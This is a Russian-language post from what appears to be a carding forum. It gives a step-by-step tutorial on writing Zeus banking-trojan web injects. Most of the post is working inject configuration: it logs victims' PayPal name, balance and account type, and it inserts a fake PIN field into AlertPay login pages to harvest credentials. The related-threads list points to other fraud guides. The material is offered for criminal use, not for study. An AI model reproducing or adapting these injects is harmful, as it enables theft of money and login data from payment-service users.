Telegram: | maintex |
![]() Join Date: Aug 2013
Posts: 567
![]() |
![]()
Всем привет, в этой статье я покажу на практике как написать инжекты для граббинга баланса, типа, имени холдера.Для работы нам потребуется локальный веб-сервер, билдер и админка зевса,текстовый редактор,браузер опера(по желанию,но в статье буду работать именно с ним) и акк палки.
1.Настройка ПО. Ставим веб-сервер,зевса.Про это много статей,описывать все по новой небуду.Ставим браузер и редактор.Прошу обратить внимание что в разных браузерах html код обрабатывается по разному. 2.Граббим данные с PayPal. Для работы я буду использовать свой РУ акк,это неначто по большому счету невлияет. И так,после входа в ПС видим наизусть знакомый нам интерфейс системы. Что будем грабить с этого акка это имя,баланс,тип. Жмем правой кнопкой на пустом месте в странице, в контекстном меню выбираем “Проинспектировать элемент” .Увидем следущее: Красным я выделил данные которые будем собирать. Начнем с имени, шелкаем лкм на нем,раскрываем код: Сделаю небольшое отступление, приведу вырезку по тэгам и флагам. Цитата: URL - URL на которую должен срабатывать веб-инжект, можно использовать маску. флаги - определяет основное условие загрузки, может состоять из нескольких флагов в любом порядке, но с учетом регистра. В настоящее время доступны следующие флаги: P - запускать веб-инжект при POST запросе на URL. G - запускать веб-инжект при GET запросе на URL. L - изменяет предназначение веб-инжекта, если указать этот флаг, то будет получен нужный кусок данных и немедленно сохранен в лог. F - дополняет флаг L, позволяет записывать результат не в лог, а в отдельный файл. H - дополняет флаг L, сохраняет нужный кусок данных без вырезания тегов. D - запускать веб-инжект раз в 24 часа. После указания URL, со следующей строки начинается перечисление веб-инжектов, которое длится до тех пор, пока не достигнут конец файла или не задана новая URL при помощи очередной записи set_url. Один веб-инжект состоит из трех элементов: Без флага L: data_before - маска данных после которых нужно записать новые данные. data_after - маска данных перед которыми следует записать новые данные. data_inject - новые данные, на которые будет заменено содержимое между data_before, data_after. С флагом L: data_before - маска данных после которых начинается кусок получаемых данных. data_after - маска данных перед которыми кончается кусок получаемых данных. data_inject - играет роль заголовка для получаемых данных, нужен лишь для визуального выделения в логах. Проще говоря data_before ставится перед началом места что будем грабить или откуда будут записываться наши данные, data_after закрывает наш инжект,а data_inject это данные которые будут записаны(html код),при флаге L его можно неставить.Разберем на примере. На скриншоте я указал где у нас data_before и data_after для граббинга имени. Для граббинга используется влаг L,поэтому data_inject нас неинтересует. Как же граббить? Вначале необходимо установить url при котором он будет запускаться,в нашем случае это сайт paypal.com.Собираем Код: Цитата: set_url https://www.paypal.com/* GPL Поясняю, set_url-устанавливаем запуск инжекта на наш урл.Далее идет линк Код: Цитата: https://www.paypal.com/* Сдесь * служит для того чтобы при любом пути(webscr?cmd=_login-done&login_access=1303313700, webscr?cmd=_login-done&login_access=100500 и тд) сработал инжект,в зависимости от стран линк меняется.Например: Код: Цитата: https://www.paypal.com/us/ https://www.paypal.com/de / и тд.Далее идут флаги GPL.GP для того чтобы инжект запускался при пост и гет запросах,L указывает на то что будем грабить данные. Расставляем наши метки,для этого ищем подходящие теги в сорце страницы,в нашем случае это <h2> и </h2>.Помещаем в data_before тег <h2>. data_inject оставляем пустыми. Цитата: set_url https://www.paypal.com/* GPL data_before <h2> data_end data_inject data_end Закрываем инжект, </h2> находится в конце нужным нам данных,указываем его в data_after. Цитата: set_url https://www.paypal.com/* GPL data_before <h2> data_end data_inject data_end data_after </h2> data_end Вот и все,наш 1 инжект готов)Небольшое отступление,вы заметили «<!--googleoff: all-->» и спросите почему он несграбился,этого неслучилось потому-что мы непоставили флаг H,установите его,тогда будут грабиться и теги. По анологии создаем для грабинга баланса,статуса,типа.Главное понять где правильно указать начало и конец сграбираевымых данных,смотрим в сорц страницы. Сдесь мы будем вырезать данные от «<li class="balance">» и заканчивать на «</span>».Почему не начинать с «<strong>» и заканчивать на «</strong>»?Представьте что между тэгами strong хранятся еще куча других данных которые нас совсем не интересуют,зевс сграбит и их,в этоге получи нужные нам данные,но с примесью мусора. А «<li class="balance">» говорит нам что категория называется баланс.Готовый инжект будет выглядеть так: Цитата: set_url https://www.paypal.com/* GPL data_before <li class="balance"> data_end data_inject data_end data_after </span> data_end Все впринципе думаю уже ясно,приведу примеры для грабинга типа аккаунта. Цитата: set_url https://www.paypal.com/* GPL data_before <li class="accTypeList metaDataFirst"> data_end data_inject data_end data_after </li> data_end 3.Получаем дополнительные данные. Сдесь приведу на примере alertpay.com.Дополнительное поле для граббинга PIN.Флаг L больше нам ненужен,будем использовать только GP. Открываем сорц страницы входа в алерт.Находим место где идет код логина и пароля.Будем ставить дополнительное поле после пароля.Смотрим на скриншот. Красным я выделил начало и конец кода который будем использовать,то есть Цитата: <div class="fielditem"> <label for="ctl00_main_loginInfo_txtNewPassword" id="ctl00_main_loginInfo_litPassword">Password</label><br /> <input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" /> </div> Теперь заменяем слово Password на слово PIN.Получаем: Цитата: <div class="fielditem"> <label for="ctl00_main_loginInfo_txtNewPIN" id="ctl00_main_loginInfo_litPIN">PIN</label><br /> <input name="ctl00$main$loginInfo$txtNewPIN" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPIN" tabindex="2" /> </div> Этот код мы будем инжектить в страницу с помошью тэга data_inject.Теперь нужно все правильно расставить.Из кода смотрим вначале метку для data_before,нам подходит Цитата: <input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" /> Заметьте,я добавлю еще кусочек кода от формы пароля(закрывающий </div>).Теперь ставим наш инжект Цитата: set_url https://www.alertpay.com/login.aspx GP data_before <input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" /> data_end data_inject </div> <div class="fielditem"> <label for="ctl00_main_loginInfo_txtPin" id="ctl00_main_loginInfo_litPassword">Pin</label> <br/> <input name="ctl00$main$loginInfo$txtPin" type="password" maxlength="30" id="ctl00_main_loginInfo_txtPin" tabindex="2"/> </div> data_end И закрываем его. Цитата: data_after <div class="message"> data_end В итоге html код алертпая теперь будет таким: Теперь пользователь перед входом в акк перед собой увидет Полный код инжект для страницы входа и главной. Цитата: set_url https://www.alertpay.com/login.aspx GP data_before <input name="ctl00$main$loginInfo$txtNewPassword" type="password" maxlength="30" id="ctl00_main_loginInfo_txtNewPassword" tabindex="2" /> data_end data_inject </div> <div class="fielditem"> <label for="ctl00_main_loginInfo_txtPin" id="ctl00_main_loginInfo_litPassword">Pin</label> <br/> <input name="ctl00$main$loginInfo$txtPin" type="password" maxlength="30" id="ctl00_main_loginInfo_txtPin" tabindex="2"/> </div> data_end data_after <div class="message"> data_end set_url https://www.alertpay.com/* GP data_before <input name="Password" type="password" class="textfield" /> data_end data_inject </td> </tr> <tr> <td align="right"> Pin: </td> <td> <input name="Pin" type="password" class="textfield" /> </td> </tr> data_end data_after <td colspan="2" style="padding: data_end Вот и все.Статья была написана с промежутками по времени и по мере возможности.Будут нестыковки и недочеты-пишите поправлю) Автор статьи sweet_hack |
![]() |
![]() |
![]() |
|
|
![]() |
||||
Thread | Thread Starter | Forum | Replies | Last Post |
Учимся вбивать на примере republicoftea | Cartographer | Статьи | 0 | 09-01-2013 12:54 PM |
Enroll на примере Bank of America | Cartographer | Статьи | 0 | 08-30-2013 10:08 AM |